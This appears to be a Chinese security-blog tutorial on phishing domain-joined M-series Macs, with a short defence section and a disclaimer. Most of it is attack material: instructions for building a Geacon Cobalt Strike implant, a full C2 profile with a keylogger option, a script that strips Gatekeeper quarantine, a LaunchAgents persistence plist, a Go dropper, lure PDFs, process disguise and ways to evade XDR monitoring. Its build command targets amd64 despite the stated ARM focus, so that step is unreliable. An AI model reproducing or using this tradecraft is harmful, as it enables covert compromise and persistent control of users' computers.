关于国外加域的m系列mac钓鱼
字数 1416 2025-08-06 08:34:54

M系列Mac钓鱼攻击技术分析与防御指南

前言

本文详细分析针对M系列Mac设备的钓鱼攻击技术,特别关注已加入企业域管理的Mac设备。攻击者通过精心设计的木马程序和信任机制绕过安全限制,实现持久化控制。文章将完整呈现攻击技术细节,同时提供相应的防御建议。

技术背景

M系列与Intel Mac的区别

  1. 处理器架构差异

    • Intel处理器:x86架构
    • M系列处理器:ARM架构
    • 导致传统C2生成的脚本无法直接在M系列上运行
  2. 安全限制

    • 企业域管理的Mac设备通常限制普通用户权限
    • 手动添加信任应用需要管理员密码
    • 增加了钓鱼攻击的难度

攻击实施流程

第一步:木马制作

  1. 使用Geacon框架

    • 原版:geacon
    • 改进版:edit_geacon和geacon_pro
    • 使用Go语言编写,可编译为Unix可执行文件
  2. 关键修改点

    • 修改RsaPublicKey
    • 使用工具从Cobalt Strike中提取key值用于通信
  3. 编译命令

    export GOOS="darwin" && export GOARCH="amd64"
    go build main.go
    

第二步:C2服务器配置

配置Cobalt Strike的C2 profile文件,示例如下:

set sleeptime "3000";
set jitter "7";

https-certificate {
    set C "KZ";
    set CN "foren.zik";
    set O "NN Fern Sub";
    set OU "NN Fern";
    set ST "KZ";
    set validity "365";
}

http-get {
    set uri "/www/handle/doc";
    client {
        metadata {
            base64url;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }
    server {
        header "Server" "nginx/1.10.3 (Ubuntu)";
        header "Content-Type" "application/octet-stream";
        output {
            mask;
            netbios;
            prepend "data=";
            append "%%";
            print;
        }
    }
}

http-post {
    set uri "/IMXo";
    client {
        id {
            mask;
            netbiosu;
            prepend "user=";
            append "%%";
            header "User";
        }
        output {
            mask;
            base64url;
            prepend "data=";
            append "%%";
            print;
        }
    }
    server {
        header "Server" "nginx/1.10.3 (Ubuntu)";
        output {
            mask;
            netbios;
            prepend "data=";
            append "%%";
            print;
        }
    }
}

post-ex {
    set spawnto_x86 "c:\\windows\\syswow64\\rundll32.exe";
    set spawnto_x64 "c:\\windows\\system32\\rundll32.exe";
    set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";
    set pipename "DserNamePipe##, PGMessagePipe##, MsFteWds##";
    set keylogger "SetWindowsHookEx";
}

第三步:木马隐藏技术

  1. 直接运行问题

    • 运行时有可见窗口
    • 关闭窗口会导致木马断开
  2. 使用App应用包装

    • 创建合法的App应用
    • 替换内部脚本为木马程序
    • 双击App即可上线
  3. 信任机制绕过技术

方法一:使用xattr命令添加信任

#!/bin/bash
APP_PATH="$HOME"
xattr -rd com.apple.quarantine "$APP_PATH"
open "$APP_PATH"

# 添加启动项
PLIST_NAME="com.xxx.plist"
PLIST_PATH="$HOME/Library/LaunchAgents/$PLIST_NAME"

启动项plist文件示例:

<plist version="1.0">
<dict>
    <key>Label</key>
    <string>runscript</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/sh</string>
        <string>/path/to/your/script.sh</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

方法二:后台执行编译后的脚本

Go语言实现示例:

package main

import (
    "io"
    "os"
    "os/exec"
    "os/user"
    "path/filepath"
)

func main() {
    currentUser, err := user.Current()
    if err != nil {
        return
    }
    
    executablePath := filepath.Join(currentUser.HomeDir, "filepath", "sogia", "xxx")
    destinationPath := filepath.Join(currentUser.HomeDir, "xxx")
    
    if err := copyFile(executablePath, destinationPath); err != nil {
        return
    }
    
    if err := os.Chmod(destinationPath, 0755); err != nil {
        return
    }
    
    cmd := exec.Command("命令", destinationPath)
    if err := cmd.Start(); err != nil {
        return
    }
    // 其他代码...
}

方法三:下载并执行程序

  • 编写脚本下载应用程序
  • 自动执行并添加到启动项
  • 缺点:下载速度依赖网络,会有可见窗口

方法四:压缩包方式

  • 木马与脚本一起打包
  • 下载后解压并移动木马到其他目录
  • 执行影子文件

方法五:PDF嵌入攻击

  • 创建诱饵PDF(简历、工资单等)
  • 嵌入木马程序
  • 利用PDF功能执行恶意代码

第四步:持久化技术

  1. 启动项添加

    • 用户无法轻易kill掉进程
    • 每次kill都会拉起新进程
    • 重启后木马仍然存在
  2. 进程伪装

    • 修改图标和名称
    • 伪造为iTunes等常见应用
    • 针对不同Mac版本选择合适伪装

绕过安全监控

  1. 行为监控绕过

    • 避免直接执行敏感命令如whoami
    • 使用beacon或zsh间接执行命令
  2. 杀软规避

    • 国外杀软多基于行为监控
    • 企业级监控(如XDR)会拦截shell命令
    • 需要采用更隐蔽的执行方式

防御建议

  1. 用户教育

    • 警惕未知来源的邮件附件和下载链接
    • 不要轻易执行不明应用
  2. 技术防护

    • 启用Gatekeeper并限制仅允许App Store和已识别开发者应用
    • 监控xattr命令的使用
    • 检查用户目录下的LaunchAgents项目
  3. 企业防护

    • 实施应用白名单
    • 监控异常网络连接
    • 限制普通用户写入系统目录权限
  4. 安全审计

    • 定期检查启动项和计划任务
    • 监控异常进程行为
    • 分析网络流量中的C2通信特征

参考资源

  1. Geacon项目:

    • https://github.com/darkr4y/geacon
    • https://github.com/TryGOTry/edit-gencon
    • https://github.com/Leeasina/geacon_pro
  2. 官方文档:

    • Apple开发者文档关于应用签名和信任机制
    • macOS安全指南

免责声明

本文仅用于安全研究和技术交流目的。未经授权对他人系统进行测试或攻击是违法行为。所有技术细节都应仅在合法授权的安全评估中使用。

M系列Mac钓鱼攻击技术分析与防御指南 前言 本文详细分析针对M系列Mac设备的钓鱼攻击技术,特别关注已加入企业域管理的Mac设备。攻击者通过精心设计的木马程序和信任机制绕过安全限制,实现持久化控制。文章将完整呈现攻击技术细节,同时提供相应的防御建议。 技术背景 M系列与Intel Mac的区别 处理器架构差异 : Intel处理器:x86架构 M系列处理器:ARM架构 导致传统C2生成的脚本无法直接在M系列上运行 安全限制 : 企业域管理的Mac设备通常限制普通用户权限 手动添加信任应用需要管理员密码 增加了钓鱼攻击的难度 攻击实施流程 第一步:木马制作 使用Geacon框架 : 原版:geacon 改进版:edit_ geacon和geacon_ pro 使用Go语言编写,可编译为Unix可执行文件 关键修改点 : 修改 RsaPublicKey 值 使用工具从Cobalt Strike中提取key值用于通信 编译命令 : 第二步:C2服务器配置 配置Cobalt Strike的C2 profile文件,示例如下: 第三步:木马隐藏技术 直接运行问题 : 运行时有可见窗口 关闭窗口会导致木马断开 使用App应用包装 : 创建合法的App应用 替换内部脚本为木马程序 双击App即可上线 信任机制绕过技术 : 方法一:使用xattr命令添加信任 启动项plist文件示例: 方法二:后台执行编译后的脚本 Go语言实现示例: 方法三:下载并执行程序 编写脚本下载应用程序 自动执行并添加到启动项 缺点:下载速度依赖网络,会有可见窗口 方法四:压缩包方式 木马与脚本一起打包 下载后解压并移动木马到其他目录 执行影子文件 方法五:PDF嵌入攻击 创建诱饵PDF(简历、工资单等) 嵌入木马程序 利用PDF功能执行恶意代码 第四步:持久化技术 启动项添加 : 用户无法轻易kill掉进程 每次kill都会拉起新进程 重启后木马仍然存在 进程伪装 : 修改图标和名称 伪造为iTunes等常见应用 针对不同Mac版本选择合适伪装 绕过安全监控 行为监控绕过 : 避免直接执行敏感命令如 whoami 使用beacon或zsh间接执行命令 杀软规避 : 国外杀软多基于行为监控 企业级监控(如XDR)会拦截shell命令 需要采用更隐蔽的执行方式 防御建议 用户教育 : 警惕未知来源的邮件附件和下载链接 不要轻易执行不明应用 技术防护 : 启用Gatekeeper并限制仅允许App Store和已识别开发者应用 监控xattr命令的使用 检查用户目录下的LaunchAgents项目 企业防护 : 实施应用白名单 监控异常网络连接 限制普通用户写入系统目录权限 安全审计 : 定期检查启动项和计划任务 监控异常进程行为 分析网络流量中的C2通信特征 参考资源 Geacon项目: https://github.com/darkr4y/geacon https://github.com/TryGOTry/edit-gencon https://github.com/Leeasina/geacon_ pro 官方文档: Apple开发者文档关于应用签名和信任机制 macOS安全指南 免责声明 本文仅用于安全研究和技术交流目的。未经授权对他人系统进行测试或攻击是违法行为。所有技术细节都应仅在合法授权的安全评估中使用。